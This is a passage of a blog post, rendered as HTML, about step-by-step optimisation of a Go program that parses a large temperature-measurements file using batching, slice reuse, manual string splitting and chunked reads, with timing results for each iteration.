<span class="giallo-l"><span>	stationStats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> batch</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> batchesChan</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> _</span><span>,</span><span> line</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> batch</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            //</span><span style="color: light-dark(#6A737D, #768390);"> Process the line ...</span></span>
<span class="giallo-l"><span>        }</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> stationStats</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> ...</span></span></code></pre><h3 id="results-1">Results<a class="zola-anchor" href="#results-1" aria-label="Anchor link for: results-1">#</a></h3>
<p>The improvement from iteration 2 to iteration 3 is quite remarkable, thanks to efficiently batching the lines together and reducing the number of channel ops.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">go</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> main.go</span><span style="color: light-dark(#032F62, #96D0FF);">  30.02s</span><span style="color: light-dark(#032F62, #96D0FF);"> user</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.67s</span><span style="color: light-dark(#032F62, #96D0FF);"> system</span><span style="color: light-dark(#032F62, #96D0FF);"> 476%</span><span style="color: light-dark(#032F62, #96D0FF);"> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6.442</span><span style="color: light-dark(#032F62, #96D0FF);"> total</span></span></code></pre>
<p>So far, we’ve reduced the time to about 6.5s which is a great start and improvement of our baseline version of 19s. However, we’re making quite a few extra memory allocations and the focus of next iteration should be to reduce that.</p>
<h2 id="iteration-3-reducing-memory-allocations">Iteration 3: Reducing memory allocations<a class="zola-anchor" href="#iteration-3-reducing-memory-allocations" aria-label="Anchor link for: iteration-3-reducing-memory-allocations">#</a></h2>
<ul>
<li>A batch slice is pre-allocated with a capacity of <strong><code>batchSize</code></strong> and reused for each batch of lines.</li>
<li>After sending a batch to the channel, the slice is reset to zero length (<code>batch = batch[:0]</code>), but the underlying array is retained and reused.</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Read the file and send batches of lines to the workers</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>		file</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Open</span><span>(</span><span>measurementsFile</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">			panic</span><span>(</span><span>err</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		defer</span><span> file</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Close</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>		scanner</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> bufio</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewScanner</span><span>(</span><span>file</span><span>)</span></span>
<span class="giallo-l"><span>		batch</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span><span> batchSize</span><span>)</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Pre-allocate with capacity</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>			line</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Text</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">			//</span><span style="color: light-dark(#6A737D, #768390);"> Reuse the batch slice by appending to it until it reaches the batch size</span></span>
<span class="giallo-l"><span>			batch</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>batch</span><span>,</span><span> line</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>batch</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;=</span><span> batchSize</span><span> {</span></span>
<span class="giallo-l"><span>				batchesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> batch</span></span>
<span class="giallo-l"><span>				batch</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> batch</span><span>[</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Reset the slice without allocating new memory</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Send any remaining lines in the last batch</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>batch</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span> {</span></span>
<span class="giallo-l"><span>			batchesChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> batch</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		close</span><span>(</span><span>batchesChan</span><span>)</span></span>
<span class="giallo-l"><span>	}</span><span>(</span><span>)</span></span></code></pre><h3 id="results-2">Results<a class="zola-anchor" href="#results-2" aria-label="Anchor link for: results-2">#</a></h3>
<p>Down to 5.3s!</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">go</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> main.go</span><span style="color: light-dark(#032F62, #96D0FF);">  25.43s</span><span style="color: light-dark(#032F62, #96D0FF);"> user</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.53s</span><span style="color: light-dark(#032F62, #96D0FF);"> system</span><span style="color: light-dark(#032F62, #96D0FF);"> 485%</span><span style="color: light-dark(#032F62, #96D0FF);"> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5.346</span><span style="color: light-dark(#032F62, #96D0FF);"> total</span></span></code></pre><h2 id="iteration-3-cont-further-reducing-memory-allocations">Iteration 3 (cont): Further reducing memory allocations<a class="zola-anchor" href="#iteration-3-cont-further-reducing-memory-allocations" aria-label="Anchor link for: iteration-3-cont-further-reducing-memory-allocations">#</a></h2>
<ul>
<li>Avoiding <code>strings.Split</code>: Instead of using <code>strings.Split</code>, which allocates a new slice for each line, we can use  <code>strings.Index</code> to find the delimiter and manually slice the string. <code>strings.Split</code> typically creates a new slice for each split part, leading to more memory usage and subsequent GC overhead.</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">for</span><span> batch</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> batchesChan</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> _</span><span>,</span><span> line</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> batch</span><span> {</span></span>
<span class="giallo-l"><span>			delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strings</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Index</span><span>(</span><span>line</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				continue</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Delimiter not found, skip this line</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>			station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> line</span><span>[</span><span>:</span><span>delimiterIndex</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>			tempStr</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> line</span><span>[</span><span>delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>:</span><span>]</span></span>
<span class="giallo-l"><span>			temp</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strconv</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">ParseFloat</span><span>(</span><span>tempStr</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				continue</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Invalid temperature value, skip this line</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>			stats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> stationStats</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span>			stats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);">++</span></span>
<span class="giallo-l"><span>			stats</span><span>.</span><span>Min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span>stats</span><span>.</span><span>Min</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>			stats</span><span>.</span><span>Max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span>stats</span><span>.</span><span>Max</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>			stats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> (</span><span>temp</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span> stats</span><span>.</span><span>Mean</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span>stats</span><span>.</span><span>Count</span><span>)</span></span>
<span class="giallo-l"><span>			stationStats</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> stats</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span></span></code></pre><h3 id="results-3">Results<a class="zola-anchor" href="#results-3" aria-label="Anchor link for: results-3">#</a></h3>
<p>The time has further decreased from 5.3s to 4.8s with these changes.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">go</span><span> run</span><span> main</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">go</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;">  15.69s</span><span> user</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;"> 0.44s</span><span> system</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 332</span><span style="color: light-dark(#D73A49, #F47067);">%</span><span> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 4</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">853</span><span> total</span></span></code></pre><h2 id="iteration-4-read-file-in-chunks">Iteration 4: Read file in chunks<a class="zola-anchor" href="#iteration-4-read-file-in-chunks" aria-label="Anchor link for: iteration-4-read-file-in-chunks">#</a></h2>
<p>In this version, the file is read in chunks, and each chunk is processed to ensure it contains complete lines. The <code>processChunk</code> function is used to separate valid data from leftover data in each chunk. Chunk size can be controlled with command line args as well.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> ....</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> chunkSize</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 256</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1024</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> 256 KB</span></span>
<span class="giallo-l"><span>	buf</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>,</span><span> chunkSize</span><span>)</span></span>
<span class="giallo-l"><span>	leftover</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span><span> chunkSize</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> {</span></span>
<span class="giallo-l"><span>			bytesRead</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> file</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Read</span><span>(</span><span>buf</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> bytesRead</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">				//</span><span style="color: light-dark(#6A737D, #768390);"> Copy the chunk to a new slice, because the</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">				//</span><span style="color: light-dark(#6A737D, #768390);"> buffer will be reused in the next iteration.</span></span>
<span class="giallo-l"><span>				chunk</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>,</span><span> bytesRead</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">				copy</span><span>(</span><span>chunk</span><span>,</span><span> buf</span><span>[</span><span>:</span><span>bytesRead</span><span>]</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">				//</span><span style="color: light-dark(#6A737D, #768390);"> Process the chunk. The returned leftover will be processed in the next iteration.</span></span>
<span class="giallo-l"><span>				validChunk</span><span>,</span><span> newLeftover</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> processChunk</span><span>(</span><span>chunk</span><span>,</span><span> leftover</span><span>)</span></span>
<span class="giallo-l"><span>				leftover</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> newLeftover</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">				//</span><span style="color: light-dark(#6A737D, #768390);"> Send the valid chunk to the processing goroutine.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				if</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>validChunk</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span> {</span></span>
<span class="giallo-l"><span>					wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">					go</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> processChunkData</span><span>(</span><span>validChunk</span><span>,</span><span> resultsChan</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span>wg</span><span>)</span></span>
<span class="giallo-l"><span>				}</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				break</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>		wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Wait</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		close</span><span>(</span><span>resultsChan</span><span>)</span></span>
<span class="giallo-l"><span>	}</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> ...</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> processChunk</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">chunk</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> leftover</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>)</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">validChunk</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> newLeftover</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	firstNewline</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span></span>
<span class="giallo-l"><span>	lastNewline</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Find the first and last newline in the chunk.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> i</span><span>,</span><span> b</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> chunk</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> b</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#005CC5, #6CB6FF);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> firstNewline</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span>				firstNewline</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> i</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>			lastNewline</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> i</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> firstNewline</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span>		validChunk</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>leftover</span><span>,</span><span> chunk</span><span>[</span><span>:</span><span>lastNewline</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">...</span><span>)</span></span>
<span class="giallo-l"><span>		newLeftover</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>,</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>chunk</span><span>[</span><span>lastNewline</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>:</span><span>]</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		copy</span><span>(</span><span>newLeftover</span><span>,</span><span> chunk</span><span>[</span><span>lastNewline</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>:</span><span>]</span><span>)</span></span>
<span class="giallo-l"><span>	}</span><span style="color: light-dark(#D73A49, #F47067);"> else</span><span> {</span></span>
<span class="giallo-l"><span>		newLeftover</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>leftover</span><span>,</span><span> chunk</span><span style="color: light-dark(#D73A49, #F47067);">...</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span> validChunk</span><span>,</span><span> newLeftover</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> processChunkData</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">chunk</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> chan</span><span style="color: light-dark(#D73A49, #F47067);">&lt;-</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> wg</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span style="color: light-dark(#6F42C1, #F69D50);">sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">WaitGroup</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	defer</span><span> wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	stationStats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"><span>	scanner</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> bufio</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewScanner</span><span>(</span><span>strings</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewReader</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>(</span><span>chunk</span><span>)</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>		line</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Text</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Find the index of the delimiter</span></span>
<span class="giallo-l"><span>		delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strings</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Index</span><span>(</span><span>line</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);"> ==</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			continue</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Delimiter not found, skip this line</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Extract the station name and temperature string</span></span>
<span class="giallo-l"><span>		station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> line</span><span>[</span><span>:</span><span>delimiterIndex</span><span>]</span></span>
<span class="giallo-l"><span>		tempStr</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> line</span><span>[</span><span>delimiterIndex</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>:</span><span>]</span></span>
<span class="giallo-l"></span>
